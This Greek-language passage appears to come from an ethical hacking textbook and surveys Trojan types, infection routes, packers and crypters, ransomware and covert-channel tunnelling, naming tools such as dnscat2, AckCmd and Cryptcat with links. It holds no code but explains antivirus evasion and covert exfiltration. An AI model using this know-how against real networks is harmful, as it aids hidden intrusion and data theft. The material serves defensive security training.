Data hiding: Η ιδέα πίσω από αυτόν τον τύπο Trojan είναι να κρύψει τα δεδομένα του χρήστη. Αυτός ο τύπος κακόβουλου λογισμικού είναι επίσης μερικές φορές γνωστός ως ransomware. Αυτός ο τύπος Trojan περιορίζει την πρόσβαση στο σύστημα του υπολογιστή που μολύνει και απαιτεί την καταβολή λύτρων στον δημιουργό του κακόβουλου λογισμικού για την άρση του περιορισμού. E-banking: Αυτά τα Trojans (το Zeus είναι ένα τέτοιο παράδειγμα) υποκλέπτουν και χρησιμοποιούν τις τραπεζικές πληροφορίες του θύματος για οικονομικό όφελος. Συνήθως, λειτουργούν ως αριθμός εξουσιοδότησης συναλλαγής (TAN), χρησιμοποιούν έγχυση HTML ή δρουν ως απαγωγέας φόρμας. Ο μοναδικός σκοπός αυτών των τύπων προγραμμάτων είναι το οικονομικό κέρδος. Denial of service (DoS): Αυτά τα Trojans έχουν σχεδιαστεί για να προκαλούν DoS. Μπορεί να είναι σχεδιασμένα να θέσουν εκτός λειτουργίας μια συγκεκριμένη υπηρεσία ή να θέσουν εκτός λειτουργίας ένα ολόκληρο σύστημα. Proxy: Αυτά τα Trojans έχουν σχεδιαστεί για να λειτουργούν ως προγράμματα μεσολάβησης που βοηθούν έναν χάκερ να κρύβεται και του επιτρέπουν να εκτελεί δραστηριότητες από τον υπολογιστή του θύματος και όχι από τον δικό του. Εξάλλου, όσο πιο μακριά βρίσκεται ο χάκερ από το έγκλημα, τόσο πιο δύσκολο γίνεται να τον εντοπίσει κανείς. FTP: Αυτά τα Trojans έχουν σχεδιαστεί ειδικά για να να λειτουργούν στη θύρα 21. Επιτρέπουν στον χάκερ ή σε άλλους να ανεβάζουν, να κατεβάζουν ή να μετακινούν αρχεία κατά βούληση στην μηχανή του θύματος. Security-software disablers: Αυτοί οι Trojans έχουν σχεδιαστεί για να επιτίθενται και να σκοτώνουν antivirus ή λογισμικό firewalls. Ο στόχος της απενεργοποίησης αυτών των προγραμμάτων είναι να διευκολύνει τον χάκερ να ελέγξει το σύστημα.

Θύρες Trojan και μέθοδοι επικοινωνίας Οι Trojans μπορούν να επικοινωνούν με διάφορους τρόπους. Ορισμένοι χρησιμοποιούν φανερή επικοινωνία. Αυτά τα προγράμματα δεν κάνουν καμία προσπάθεια να αποκρύψουν τη μετάδοση δεδομένων καθώς μετακινούνται στον υπολογιστή του θύματος ή από αυτόν. Τα περισσότερα χρησιμοποιούν κρυφά κανάλια επικοινωνίας. Αυτό σημαίνει ότι ο χάκερ καταβάλλει κάθε δυνατή προσπάθεια για να αποκρύψει τη μετάδοση δεδομένων από και προς το θύμα. Πολλά Trojans που ανοίγουν κρυφά κανάλια λειτουργούν επίσης ως backdoors.

Μια κερκόπορτα είναι κάθε είδος προγράμματος που θα επιτρέψει σε έναν χάκερ να συνδεθεί σε έναν υπολογιστή χωρίς να περάσει από την κανονική διαδικασία πιστοποίησης. Εάν ένας χάκερ καταφέρει να φορτώσει ένα πρόγραμμα backdoor σε μια εσωτερική συσκευή, ο χάκερ μπορεί στη συνέχεια να μπαινοβγαίνει κατά βούληση. Ορισμένα από τα προγράμματα δημιουργούν μια σύνδεση στον υπολογιστή του θύματος που συνδέεται με τον χάκερ. Ο κίνδυνος αυτού του τύπου επίθεσης είναι η κυκλοφορία που κινείται από μέσα προς τα έξω, δηλαδή από το εσωτερικό του οργανισμού προς το εξωτερικό Διαδίκτυο. Αυτό είναι συνήθως το λιγότερο περιοριστικό, επειδή οι εταιρείες συνήθως ανησυχούν περισσότερο για το τι μπαίνει στο δίκτυο παρά για το τι βγαίνει από το δίκτυο.

Στόχοι Trojan Δεν έχουν σχεδιαστεί όλοι οι Trojans για τον ίδιο σκοπό. Ορισμένοι είναι καταστροφικοί και μπορούν να καταστρέψουν τα υπολογιστικά συστήματα, ενώ άλλοι επιδιώκουν μόνο να κλέψουν συγκεκριμένα πληροφορίες. Αν και δεν κάνουν όλοι τους γνωστή την παρουσία τους, οι Trojans εξακολουθούν να είναι επικίνδυνοι επειδή αντιπροσωπεύουν απώλεια της εμπιστευτικότητας, ακεραιότητας και διαθεσιμότητας. Συνήθεις στόχοι των Trojans περιλαμβάνουν τα εξής: Credit card data: Τα δεδομένα πιστωτικών καρτών και οι τραπεζικές πληροφορίες έχουν γίνει τεράστιοι στόχοι. Αφού ο χάκερ αποκτήσει αυτές τις πληροφορίες, μπορεί να προχωρήσει σε διαδικτυακές αγορές ή να χρησιμοποιήσει την κάρτα για να αγοράσει υπηρεσίες, όπως η κατοχύρωση ονόματος τομέα. Electronic or digital wallets: Τα άτομα μπορούν να να χρησιμοποιούν μια ηλεκτρονική συσκευή ή μια διαδικτυακή υπηρεσία που τους επιτρέπει να πραγματοποιούν ηλεκτρονικές συναλλαγές. Αυτό περιλαμβάνει την αγορά αγαθών μέσω του διαδικτύου ή τη χρήση smartphone για να αγοράσουν κάτι σε ένα κατάστημα. A ψηφιακό πορτοφόλι μπορεί επίσης να είναι ένα πορτοφόλι κρυπτονομισμάτων (όπως Bitcoin, Ethereum, Litecoin, Ripple και κ.ο.κ.). Passwords: Οι κωδικοί πρόσβασης είναι πάντα ένας μεγάλος στόχος. Πολλοί από εμάς είναι ένοχοι για την επαναχρησιμοποίηση κωδικών πρόσβασης. Ακόμα και αν δεν το κάνουμε, υπάρχει πάντα ο κίνδυνος ότι ένας χάκερ μπορεί να αποσπάσει κωδικούς πρόσβασης ηλεκτρονικού ταχυδρομείου ή άλλους διαδικτυακούς κωδικούς πρόσβασης σε άλλους λογαριασμούς.

Insider information: Όλοι μας έχουμε περάσει εκείνες τις στιγμές κατά τις οποίες είπαμε: "Μακάρι να το ήξερα αυτό εκ των προτέρων". Αυτό είναι το νόημα των εμπιστευτικών πληροφοριών. Μπορεί να δώσει στον χάκερ κρίσιμες πληροφορίες πριν αυτές δημοσιοποιηθούν ή κυκλοφορήσουν. Data storage: Ο στόχος του Trojan μπορεί να μην είναι άλλος από το να χρησιμοποιήσει το σύστημά σας για αποθηκευτικό χώρο. Τα δεδομένα αυτά μπορεί να είναι ταινίες, μουσική, παράνομο λογισμικό (warez) ή ακόμη και πορνογραφία. Advanced persistent threat (APT): Θα μπορούσε να είναι ότι ο χάκερ σας έχει στοχοποιήσει ως μέρος ενός ή η εταιρεία σας έχει πέσει θύμα στόχος λόγω των ευαίσθητων δεδομένων της. Δύο παραδείγματα είναι το Stuxnet και η επίθεση APT κατά της RSA το 2011. Αυτοί οι επιτιθέμενοι μπορεί να ξοδέψουν σημαντικό χρόνο και έξοδα για να αποκτήσουν πρόσβαση σε κρίσιμους και ευαίσθητους πόρους.

Μηχανισμοί μόλυνσης Trojan Αφού ένας χάκερ έχει γράψει ένα Trojan, θα πρέπει να το εξαπλώσει. Το Διαδίκτυο το έχει κάνει αυτό πολύ πιο εύκολο απ' ό,τι παλαιότερα. Υπάρχουν διάφοροι τρόποι για τη διάδοση κακόβουλου λογισμικού, όπως οι ακόλουθοι: Peer-to-peer networks (P2P): Αν και οι χρήστες μπορεί να νομίζουν ότι παίρνουν το τελευταίο αντίγραφο ενός παιχνιδιού για υπολογιστή ή το πακέτο Microsoft Office, στην πραγματικότητα μπορεί να παίρνουν πολύ περισσότερα. Τα δίκτυα P2P και οι ιστότοποι ανταλλαγής αρχείων, όπως το The Pirate Bay, είναι γενικά ανεξέλεγκτα και επιτρέπουν στον καθένα να διαδίδει όποια προγράμματα θέλει, νόμιμα ή μη. Instant messaging (IM): Το IM δεν κατασκευάστηκε με ελέγχους ασφαλείας. Έτσι, δεν γνωρίζετε ποτέ το πραγματικό περιεχόμενο ενός αρχείου ή προγράμματος που σας έστειλε κάποιος. Οι χρήστες IM διατρέχουν μεγάλο κίνδυνο να γίνουν στόχοι για Trojans και άλλους τύπους κακόβουλου λογισμικού. Internet Relay Chat (IRC): Το IRC είναι γεμάτο από άτομα έτοιμα να επιτεθούν στους αρχάριους που παρασύρονται να κατεβάσουν ένα δωρεάν πρόγραμμα ή εφαρμογή. Email attachments: Τα συνημμένα αρχεία είναι ένας άλλος συνηθισμένος τρόπος εξάπλωσης ενός Trojan. Για να σας κάνουν να τα ανοίξετε, οι χάκερς μπορεί να μεταμφιέσουν το μήνυμα ώστε να φαίνεται ότι προέρχεται από νόμιμο οργανισμό. Το μήνυμα μπορεί επίσης να σας

προσφέρει ένα πολύτιμο βραβείο, ένα επιθυμητό κομμάτι λογισμικού ή παρόμοιο δόλωμα για να κεντρίσει το ενδιαφέρον σας. Εάν αισθάνεστε ότι πρέπει να διερευνήσετε αυτά τα συνημμένα μηνύματα, αποθηκεύστε τα πρώτα και στη συνέχεια εκτελέστε ένα πρόγραμμα προστασίας από ιούς σε αυτά. Τα συνημμένα μηνύματα ηλεκτρονικού ταχυδρομείου είναι το υπ' αριθμόν ένα μέσο διάδοσης κακόβουλου λογισμικού. Θα μπορούσατε να τα διερευνήσετε στο πλαίσιο της εργασίας σας στον τομέα της ασφάλειας πληροφοριών για την προστασία των χρηστών του δικτύου. Physical access: Εάν ένας χάκερ έχει φυσική πρόσβαση στο σύστημα του θύματος, μπορεί απλώς να αντιγράψει τον δούρειο ίππο στον σκληρό δίσκο (μέσω ενός USB). Ο χάκερ μπορεί ακόμη και να πάει την επίθεση στο επόμενο επίπεδο δημιουργώντας ένα δούρειο ίππο που είναι μοναδικός για το σύστημα ή το δίκτυο. Μπορεί να είναι μια ψεύτικη οθόνη σύνδεσης που μοιάζει με την πραγματική ή ακόμη και μια ψεύτικη βάση δεδομένων. Browser and browser extension vulnerabilities: Πολλοί χρήστες δεν ενημερώνουν τα προγράμματα περιήγησής τους αμέσως μόλις κυκλοφορήσουν οι ενημερώσεις. Οι φυλλομετρητές ιστού συχνά αντιμετωπίζουν το περιεχόμενο που λαμβάνουν ως αξιόπιστο. Η αλήθεια είναι ότι τίποτα σε μια ιστοσελίδα δεν μπορεί να είναι αξιόπιστο ότι ακολουθεί οποιεσδήποτε κατευθυντήριες γραμμές. Μια ιστοσελίδα μπορεί να στείλει στο πρόγραμμα περιήγησής σας δεδομένα που εκμεταλλεύονται ένα σφάλμα σε ένα πρόγραμμα περιήγησης, παραβιάζουν την ασφάλεια του υπολογιστή και μπορεί να φορτώνουν ένα Trojan. SMS messages: Τα μηνύματα SMS έχουν χρησιμοποιηθεί από επιτιθέμενους για τη διάδοση κακόβουλου λογισμικού σε κινητές συσκευές και για άλλες απάτες. Impersonated mobile apps: Οι επιτιθέμενοι μπορούν να υποδυθούν εφαρμογές σε καταστήματα κινητών τηλεφώνων (για παράδειγμα, Google Play ή Apple Store) για να μολύνουν τους χρήστες. Οι επιτιθέμενοι μπορούν να πραγματοποιήσουν οπτική μίμηση για να παραποιήσουν σκόπιμα τις εφαρμογές στα μάτια του χρήστη. Οι επιτιθέμενοι μπορούν να το κάνουν αυτό για να επανασυσκευάσουν την εφαρμογή και να την επαναδημοσιεύσουν στην αγορά με διαφορετικό συγγραφέα. Αυτή η τακτική έχει χρησιμοποιηθεί από επιτιθέμενους για να πάρουν μια πληρωμένη εφαρμογή και να την αναδημοσιεύσουν στην αγορά σε τιμή μικρότερη από την αρχική της τιμή. Ωστόσο, στο πλαίσιο του κακόβουλου λογισμικού για φορητές συσκευές, ο επιτιθέμενος χρησιμοποιεί παρόμοια τακτική για να διανείμει μια κακόβουλη εφαρμογή σε ένα ευρύ κοινό χρηστών, ελαχιστοποιώντας παράλληλα την επενδυμένη προσπάθεια. Εάν ο επιτιθέμενος επανασυσκευάσει μια δημοφιλή εφαρμογή και προσαρτήσει σε αυτήν κακόβουλο λογισμικό, ο επιτιθέμενος μπορεί

να εκμεταλλευτεί την εμπιστοσύνη του χρήστη στις αγαπημένες του εφαρμογές και να παραβιάσει με επιτυχία την κινητή συσκευή. Watering hole: Η ιδέα είναι να μολυνθεί ένας ιστότοπος που ο επιτιθέμενος γνωρίζει ότι θα επισκεφθεί το θύμα. Στη συνέχεια, ο επιτιθέμενος απλά περιμένει το θύμα να επισκεφθεί τον ώστε το σύστημα να μπορεί να γίνει μολυνθεί. Freeware: Τίποτα στη ζωή δεν είναι δωρεάν, και αυτό περιλαμβάνει και το περισσότερο λογισμικό. Οι χρήστες αναλαμβάνουν ένα μεγάλο ρίσκο όταν κατεβάζουν δωρεάν λογισμικό από μια άγνωστη πηγή. Το δωρεάν λογισμικό μπορεί όχι μόνο να περιέχει Trojan, αλλά το freeware έχει επίσης γίνει ένας αγαπημένος στόχος για adware και spyware.

Επιπτώσεις των Trojans Οι επιπτώσεις των Trojans μπορεί να κυμαίνονται από καλοήθεις έως ακραίες. Τα άτομα των οποίων τα συστήματα έχουν μολυνθεί μπορεί να μην το μάθουν ποτέ, οι περισσότεροι από τους δημιουργούς αυτής της κατηγορίας κακόβουλου λογισμικού δεν θέλουν να εντοπιστούν, γι' αυτό καταβάλλουν μεγάλες προσπάθειες για να κρύψουν τη δραστηριότητά τους και να κρατήσουν τις ενέργειές τους κρυφές. Εξάλλου, ο στόχος τους είναι συνήθως να "κατέχουν το κουτί". Εάν το θύμα αντιληφθεί την παρουσία του Trojan, το θύμα θα λάβει αντίμετρα που απειλούν την ικανότητα του επιτιθέμενου να διατηρήσει τον έλεγχο του υπολογιστή. Σε ορισμένες περιπτώσεις, προγράμματα ανοίγουν φαινομενικά μόνα τους ή το πρόγραμμα περιήγησης στο διαδίκτυο ανοίγει σελίδες που δεν ζήτησε ο χρήστης. Ωστόσο, επειδή ο χάκερ έχει τον έλεγχο του υπολογιστή, μπορεί να αλλάξει το φόντο του, να επανεκκινήσει τα συστήματα ή να καταγράψει όλα όσα πληκτρολογεί το θύμα στο πληκτρολόγιο.

Διανομή κακόβουλου λογισμικού Η τεχνολογία αλλάζει, και αυτό περιλαμβάνει και τη διανομή κακόβουλου λογισμικού. Είναι γεγονός ότι η ανίχνευση κακόβουλου λογισμικού είναι σήμερα πολύ πιο δύσκολη από ό,τι στο παρελθόν. Σήμερα, δεν είναι ασυνήθιστο για τους επιτιθέμενους να χρησιμοποιούν πολλαπλά επίπεδα τεχνικών για να συσκοτίσουν τον κώδικα, να κάνουν τον κακόβουλο κώδικα μη ανιχνεύσιμο από τα antivirus και να χρησιμοποιούν κρυπτογράφηση για να εμποδίσουν άλλους να εξετάσουν το κακόβουλο λογισμικό. Το αποτέλεσμα είναι ότι το σύγχρονο κακόβουλο λογισμικό βελτιώνει τις πιθανότητες των επιτιθέμενων να παραβιάσουν

έναν υπολογιστή χωρίς να γίνουν αντιληπτοί. Αυτές οι τεχνικές περιλαμβάνουν wrappers, packers, droppers και crypters. Τα wrappers προσφέρουν στους χάκερς μια μέθοδο για να παρακάμψουν τις συνήθεις άμυνες ενός χρήστη. Ένα wrapper είναι ένα πρόγραμμα που χρησιμοποιείται για να συνδυάσει δύο ή περισσότερα εκτελέσιμα προγράμματα σε ένα ενιαίο πακέτο προγράμματος. Τα wrappers αναφέρονται επίσης ως binders, packagers και EXE binders επειδή είναι το λειτουργικό ισοδύναμο των binders για τα Windows Portable Executable files. Ορισμένοι περιτυλίκτες (wrappers )επιτρέπουν μόνο την ένωση προγραμμάτων- άλλοι επιτρέπουν τη σύνδεση τριών, τεσσάρων, πέντε ή περισσότερων προγραμμάτων. Βασικά, αυτά τα προγράμματα λειτουργούν σαν κατασκευαστές εγκαταστάσεων και προγράμματα εγκατάστασης. Εκτός από το να σας επιτρέπουν να συνδέσετε ένα πρόγραμμα, τα wrappers προσθέτουν πρόσθετα επίπεδα συσκοτίσεων και κρυπτογράφησης γύρω από το αρχείοστόχο, δημιουργώντας ουσιαστικά ένα νέο εκτελέσιμο αρχείο. Τα Packers είναι παρόμοια με προγράμματα όπως τα WinZip, Rar και Tar, επειδή συμπιέζουν αρχεία. Ωστόσο, ενώ τα προγράμματα συμπίεσης συμπιέζουν αρχεία για εξοικονόμηση χώρου, οι packers το κάνουν αυτό για να συσκοτίσουν τη δραστηριότητα του κακόβουλου λογισμικού. Η ιδέα είναι να εμποδίσουν οποιονδήποτε να δει τον κώδικα του κακόβουλου λογισμικού μέχρι να τοποθετηθεί στη μνήμη. Οι packers εξυπηρετούν έναν δεύτερο πολύτιμο στόχο για τον επιτιθέμενο, καθώς εργάζονται για να παρακάμψουν τους μηχανισμούς προστασίας της ασφάλειας του δικτύου, όπως τα συστήματα ανίχνευσης εισβολών που βασίζονται σε κεντρικούς υπολογιστές και δίκτυα. Ο συσκευαστής (packer) κακόβουλου λογισμικού αποσυμπιέζει το πρόγραμμα μόνο όταν βρίσκεται στη μνήμη, αποκαλύπτοντας τον αρχικό κώδικα του προγράμματος μόνο όταν εκτελείται. Πρόκειται για μια ακόμη προσπάθεια παράκαμψης της ανίχνευσης κακόβουλου λογισμικού. Οι Droppers είναι λογισμικό σχεδιασμένο για την εγκατάσταση ωφέλιμων φορτίων κακόβουλου λογισμικού στο σύστημα του θύματος. Τα Droppers προσπαθούν να αποφύγουν την ανίχνευση και να παρακάμψουν τους ελέγχους ασφαλείας χρησιμοποιώντας διάφορες μεθόδους για τη διάδοση και την εγκατάσταση του ωφέλιμου φορτίου κακόβουλου λογισμικού. Οι Crypters (κρυπτογράφοι) λειτουργούν για την κρυπτογράφηση ή την απόκρυψη του κώδικα. Ορισμένοι κρυπτογράφοι αποκρύπτουν τα περιεχόμενα του Trojan εφαρμόζοντας έναν αλγόριθμο κρυπτογράφησης. Οι κρυπτογράφοι μπορούν να χρησιμοποιήσουν οτιδήποτε, από AES, RSA, μέχρι ακόμη και Blowfish, ή μπορεί να χρησιμοποιήσουν πιο

βασικές τεχνικές απόκρυψης, όπως XOR, κωδικοποίηση Base64 ή ακόμη και ROT13. Και πάλι, αυτές οι τεχνικές χρησιμοποιούνται για την απόκρυψη του περιεχομένου του εκτελέσιμου προγράμματος, καθιστώντας το μη ανιχνεύσιμο από τα antivirus και ανθεκτικό στις προσπάθειες αντίστροφης μηχανικής. Ransomware Τα τελευταία χρόνια, το ransomware έχει χρησιμοποιηθεί από εγκληματίες που βγάζουν χρήματα από τα θύματά τους και από χακτιβιστές και επιτιθέμενους από εθνικά κράτη που προκαλούν αναστάτωση. Το ransomware μπορεί να διαδοθεί όπως ένα σκουλήκι ή ένας ιός, αλλά έχει σχεδιαστεί για να κρυπτογραφεί τα προσωπικά αρχεία στον σκληρό δίσκο του θύματος έως ότου καταβληθούν λύτρα στον επιτιθέμενο. Το Ransomware υπάρχει εδώ και πολλά χρόνια, αλλά επανήλθε τα τελευταία χρόνια. Ακολουθούν διάφορα παραδείγματα δημοφιλών ransomware: WannaCry Pyeta Nyeta Sodinokibi Bad Rabbit Grandcrab SamSam CryptoLocker CryptoDefense CryptoWall Spora Το Ransomware μπορεί να κρυπτογραφήσει συγκεκριμένα αρχεία στο σύστημά σας ή όλα τα αρχεία σας, σε ορισμένες περιπτώσεις ακόμη και το κύριο αρχείο εκκίνησης του σκληρού σας δίσκου.

Covert Communication (Κρυφή επικοινωνία)

Η διανομή κακόβουλου λογισμικού είναι μόνο το ήμισυ της μάχης για τον επιτιθέμενο. Ο επιτιθέμενος θα πρέπει να έχει κάποιον τρόπο να διαρρέει δεδομένα και να το κάνει με τρόπο που να μην ανιχνεύεται. Αν εξετάσετε την ιστορία των κρυφών επικοινωνιών, θα δείτε ότι τα Κριτήρια Αξιολόγησης Εμπιστευτικών Συστημάτων Υπολογιστών (Trusted Computer System Evaluation Criteria - TCSEC) ήταν ένα από τα πρώτα έγγραφα που εξέτασαν πλήρως την έννοια των κρυφών επικοινωνιών και επιθέσεων. Το TCSEC χωρίζει τις επιθέσεις σε κρυφά κανάλια σε δύο μεγάλες κατηγορίες: Covert timing channel attacks: Οι επιθέσεις χρονισμού (timing attacks ) είναι δύσκολο να εντοπιστούν επειδή βασίζονται στους χρόνους του συστήματος και λειτουργούν με την τροποποίηση ενός εξαρτήματος ή με την τροποποίηση του χρονισμού των πόρων. Covert storage channel attacks: Χρήση μιας διεργασίας για την εγγραφή δεδομένων σε μια περιοχή αποθήκευσης και μιας άλλης διεργασίας για την ανάγνωση των δεδομένων. Είναι σημαντικό να εξετάσουμε την κρυφή επικοινωνία σε πιο εστιασμένη κλίμακα, επειδή θα εξεταστεί εδώ ως μέσο μυστικής διαβίβασης πληροφοριών ή δεδομένων. Για παράδειγμα, οι περισσότεροι έχουν δει μια ταινία στην οποία ένας πληροφοριοδότης δίνει σήμα στην αστυνομία ότι ήρθε η ώρα να συλλάβει τους εγκληματίες. Θα μπορούσε να είναι ότι ο πληροφοριοδότης ανάβει ένα τσιγάρο ή απλώς γέρνει το καπέλο του. Αυτά τα μικρά σήματα δεν έχουν νόημα για τον μέσο άνθρωπο που μπορεί να βρίσκεται κοντά, αλλά για όσους ξέρουν τι να ψάξουν, αναγνωρίζονται ως νόμιμο σήμα. Στον κόσμο του hacking, η μυστική επικοινωνία επιτυγχάνεται μέσω ενός μυστικού καναλιού. Ένα κρυφό κανάλι είναι ένας τρόπος μετακίνησης πληροφοριών μέσω ενός καναλιού επικοινωνίας ή πρωτοκόλλου με τρόπο που δεν προοριζόταν να χρησιμοποιηθεί. Τα κρυφά κανάλια είναι σημαντικό να κατανοηθούν από τους επαγγελματίες της ασφάλειας. Για τον ηθικό χάκερ που πραγματοποιεί αξιολογήσεις επιθέσεων και διείσδυσης, τα εργαλεία αυτά είναι σημαντικά επειδή οι χάκερ μπορούν να τα χρησιμοποιήσουν για να αποκτήσουν ένα αρχικό πάτημα σε ένα κατά τα άλλα ασφαλές δίκτυο. Για τον διαχειριστή δικτύου, η κατανόηση του τρόπου λειτουργίας αυτών των εργαλείων και των αποτυπωμάτων τους μπορεί να τη βοηθήσει να αναγνωρίσει πιθανά σημεία εισόδου στο δίκτυο. Για τον χάκερ, πρόκειται για ισχυρά εργαλεία που μπορούν δυνητικά να του επιτρέψουν τον έλεγχο και την πρόσβαση. Πώς λειτουργούν οι μυστικές επικοινωνίες; Λοιπόν, ο σχεδιασμός του TCP/IP προσφέρει πολλές ευκαιρίες για κατάχρηση. Τα κύρια πρωτόκολλα για κρυφές επικοινωνίες

περιλαμβάνουν το Πρωτόκολλο Διαδικτύου (IP), το Πρωτόκολλο Ελέγχου Μετάδοσης (TCP), το Πρωτόκολλο Δεδομένων Χρήστη (UDP), το Πρωτόκολλο Μηνυμάτων Ελέγχου Διαδικτύου (ICMP) και την Υπηρεσία Ονομάτων Τομέα (DNS). Το επίπεδο του Διαδικτύου προσφέρει αρκετές ευκαιρίες στους χάκερς να διοχετεύσουν την κυκλοφορία. Δύο πρωτόκολλα που συνήθως διοχετεύονται είναι το IPv6 και το ICMP. Το IPv6 είναι όπως όλα τα πρωτόκολλα στο ότι μπορεί να γίνει κατάχρηση ή χειραγώγηση ώστε να λειτουργήσει ως κρυφό κανάλι. Αυτό είναι κυρίως εφικτό επειδή οι περιφερειακές συσκευές ενδέχεται να μην έχουν ρυθμιστεί ώστε να αναγνωρίζουν την κυκλοφορία IPv6, παρόλο που τα περισσότερα λειτουργικά συστήματα έχουν ενεργοποιημένη την υποστήριξη IPv6. Σύμφωνα με την US-CERT, η κατάχρηση των Windows βασίζεται σε διάφορους παράγοντες: Ελλιπής ή ασυνεπής υποστήριξη για IPv6. Η δυνατότητα αυτόματης διαμόρφωσης IPv6. Κακόβουλο λογισμικό που έχει σχεδιαστεί για να ενεργοποιεί την υποστήριξη IPv6 σε ευαίσθητους υπολογιστές. Κακόβουλη εφαρμογή της "σήραγγας" κίνησης, μιας μεθόδου μετάδοσης δεδομένων στο Διαδίκτυο κατά την οποία το δημόσιο Διαδίκτυο χρησιμοποιείται για την αναμετάδοση δεδομένων ιδιωτικού δικτύου. Υπάρχουν πολλά εργαλεία για τη διοχέτευση σήραγγας μέσω IPv6, όπως τα 6tunnel, socat, nt6tunnel και relay6. Ο καλύτερος τρόπος για να διατηρήσετε την ασφάλεια με το IPv6 είναι να αναγνωρίσετε ότι ακόμη και οι συσκευές που υποστηρίζουν το IPv6 μπορεί να μην είναι σε θέση να αναλύσουν σωστά την ενθυλάκωση IPv6 των πακέτων IPv4. Το δεύτερο πρωτόκολλο που μπορεί να διοχετευθεί στο επίπεδο Διαδικτύου είναι το πρωτόκολλο μηνυμάτων ελέγχου Διαδικτύου (ICMP). Το ICMP καθορίζεται από το RFC 792 και έχει σχεδιαστεί για να παρέχει μηνύματα σφαλμάτων, πληροφορίες καλύτερης διαδρομής και διαγνωστικά μηνύματα. Ένα παράδειγμα είναι η εντολή ping. Χρησιμοποιεί το ICMP για να ελέγξει μια σύνδεση στο Διαδίκτυο. Το επίπεδο μεταφοράς προσφέρει στους επιτιθέμενους δύο πρωτόκολλα προς χρήση: TCP και UDP. Το TCP προσφέρει διάφορα πεδία που μπορούν να χειραγωγηθούν από έναν επιτιθέμενο, συμπεριλαμβανομένου του πεδίου TCP Options στην επικεφαλίδα TCP και του πεδίου TCP Flag. Από το σχεδιασμό του, το TCP είναι ένα πρωτόκολλο προσανατολισμένο στη σύνδεση

που παρέχει ισχυρή επικοινωνία. Τα παρακάτω βήματα περιγράφουν την κανονική διαδικασία TCP: A three-step handshake: Αυτό εξασφαλίζει ότι και τα δύο συστήματα είναι έτοιμα να επικοινωνήσουν. Exchange of control information: Κατά τη διάρκεια της εγκατάστασης, ανταλλάσσονται πληροφορίες που καθορίζουν το μέγιστο μέγεθος τμήματος. Sequence numbers: Αυτό υποδεικνύει την ποσότητα και τη θέση των δεδομένων που αποστέλλονται. Acknowledgements: Αυτό υποδεικνύει το επόμενο byte δεδομένων που αναμένεται. Four-step shutdown: Πρόκειται για μια επίσημη διαδικασία τερματισμού της συνεδρίας που επιτρέπει τον ομαλό τερματισμό της. Παρόλο που τα πακέτα SYN εμφανίζονται μόνο στην αρχή της συνεδρίας, τα ACK μπορεί να εμφανιστούν χιλιάδες φορές. Επιβεβαιώνουν ότι ελήφθησαν δεδομένα. Αυτός είναι ο λόγος για τον οποίο οι συσκευές φιλτραρίσματος πακέτων δημιουργούν τους κανόνες τους σε τμήματα SYN. Αποτελεί παραδοχή εκ μέρους του διαχειριστή του τείχους προστασίας ότι τα ACKs εμφανίζονται μόνο ως μέρος μιας καθιερωμένης συνεδρίας. Είναι πολύ πιο εύκολο να ρυθμιστεί και μειώσει το φόρτο εργασίας. Για να παρακάμψει τον κανόνα αποκλεισμού SYN, ένας χάκερ μπορεί να προσπαθήσει να χρησιμοποιήσει πακέτα TCP ACK ως κρυφό κανάλι επικοινωνίας. Εργαλεία όπως το AckCmd εξυπηρετούν αυτόν ακριβώς τον σκοπό. Το UDP είναι χωρίς κατάσταση και, ως εκ τούτου, μπορεί να μην καταγράφεται στις συνδέσεις τείχους προστασίας. Ορισμένες εφαρμογές που βασίζονται στο UDP, όπως το DNS, συνήθως επιτρέπονται μέσω του τείχους προστασίας και ενδέχεται να μην παρακολουθούνται στενά από τους διαχειριστές δικτύων και τειχών προστασίας. Οι εφαρμογές σήραγγας UDP λειτουργούν συνήθως σε διαμόρφωση πελάτη/εξυπηρετητή. Επίσης, ορισμένες θύρες όπως η UDP 53 είναι πιθανότατα ανοικτές. Αυτό σημαίνει ότι είναι επίσης ανοικτές για τους επιτιθέμενους να τις χρησιμοποιήσουν ως πιθανό μέσο για την εκροή δεδομένων. Υπάρχουν διάφορα εργαλεία σήραγγας UDP που πρέπει να ελέγξετε, συμπεριλαμβανομένων των ακόλουθων: UDP Tunnel: Σχεδιασμένο επίσης για τη διοχέτευση της κυκλοφορίας TCP μέσω μιας σύνδεσης

UDP.

Μπορείτε

https://code.google.com/p/udptunnel/ .

να

βρείτε

το

UDP

Tunnel

στο

dnscat: Μια άλλη επιλογή για τη διοχέτευση δεδομένων μέσω ανοικτής σύνδεσης DNS. Μπορείτε

να

κατεβάσετε

την

τρέχουσα

έκδοση,

dnscat2, από

τη

διεύθυνση

https://github.com/iagox86/dnscat2. Η σήραγγα επιπέδου εφαρμογής χρησιμοποιεί κοινές εφαρμογές που στέλνουν δεδομένα σε επιτρεπόμενες θύρες. Για παράδειγμα, ένας χάκερ θα μπορούσε να διοχετεύσει μια συνεδρία ιστού, θύρα 80, μέσω της θύρας 22 του SSH ή ακόμη και μέσω της θύρας 443. Επειδή οι θύρες 22 και 443 χρησιμοποιούν και οι δύο κρυπτογράφηση, μπορεί να είναι δύσκολο να παρακολουθείται η διαφορά μεταξύ μιας νόμιμης συνεδρίας και ενός κρυφού καναλιού. Μπορεί επίσης να χρησιμοποιηθεί το HTTP. Το Netcat είναι ένα εργαλείο που μπορεί να χρησιμοποιηθεί για τη δημιουργία μιας σήραγγας για τη διαρροή δεδομένων μέσω HTTP. Εάν η μεταφορά είναι το HTTPS, είναι δύσκολο για τον διαχειριστή δικτύου να επιθεωρήσει τα εξερχόμενα

δεδομένα.

Το

Cryptcat

(http://cryptcat.sourceforge.net)

μπορεί

να

χρησιμοποιηθεί για την αποστολή δεδομένων μέσω HTTPS. Τέλος, ακόμη και το σύστημα ονομάτων τομέα (DNS) μπορεί να χρησιμοποιηθεί για τη σήραγγα επιπέδου εφαρμογής. Το DNS είναι ένα πρωτόκολλο αίτησης/απάντησης. Τα ερωτήματά του αποτελούνται από μια επικεφαλίδα σταθερού μεγέθους 12 byte που ακολουθείται από μία ή περισσότερες ερωτήσεις. Μια απάντηση DNS διαμορφώνεται με τον ίδιο τρόπο, καθώς έχει μια επικεφαλίδα, ακολουθούμενη από την αρχική ερώτηση και στη συνέχεια συνήθως μια εγγραφή πόρων με μία μόνο απάντηση. Ο πιο απλός τρόπος χειρισμού του DNS είναι μέσω αυτών των αιτήσεων/απαντήσεων. Μπορείτε εύκολα να εντοπίσετε μια αιχμή στην κίνηση DNS- ωστόσο, πολλές φορές οι επιτιθέμενοι μετακινούν δεδομένα χρησιμοποιώντας το DNS χωρίς να εντοπίζονται για 